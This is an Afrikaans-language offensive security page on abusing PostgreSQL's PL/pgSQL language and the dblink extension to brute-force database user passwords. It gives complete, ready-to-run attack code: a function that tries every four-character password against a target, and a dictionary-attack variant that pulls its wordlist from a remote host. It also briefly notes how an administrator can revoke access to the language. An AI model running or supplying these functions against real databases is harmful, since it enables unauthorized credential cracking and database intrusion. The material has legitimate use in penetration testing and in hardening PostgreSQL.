PL/pgSQL is 'n volledig funksionele programmeertaal wat verder gaan as die vermoëns van SQL deur verbeterde prosedurele beheer aan te bied. Dit sluit die gebruik van lusse en verskeie beheersstrukture in. Funksies wat in die PL/pgSQL-taal geskep is, kan deur SQL-verklarings en triggers aangeroep word, wat die omvang van operasies binne die databasisomgewing verbreed.
Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se akrediteer te brute-force, maar dit moet op die databasis bestaan. Jy kan die bestaan daarvan verifieer met:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
By default, om funksies te skep is 'n voorreg wat aan PUBLIC toegeken word, waar PUBLIC na elke gebruiker op daardie databasisstelsel verwys. Om dit te voorkom, kon die administrateur die USAGE voorreg uit die PUBLIC domein herroep het:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
In daardie geval sou ons vorige navraag verskillende resultate lewer:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
Let daarop dat vir die volgende skrip om te werk die funksie dblink moet bestaan. As dit nie bestaan nie, kan jy probeer om dit te skep met
CREATE EXTENSION dblink;
Wagwoord Brute Force
Hier is hoe jy 'n 4 karakters wagwoord bruteforce kan uitvoer:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Noot dat selfs die brute-forcing van 4 karakters 'n paar minute kan neem.
Jy kan ook 'n woordlys aflaai en slegs daardie wagwoorde probeer (woordeboekaanval):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');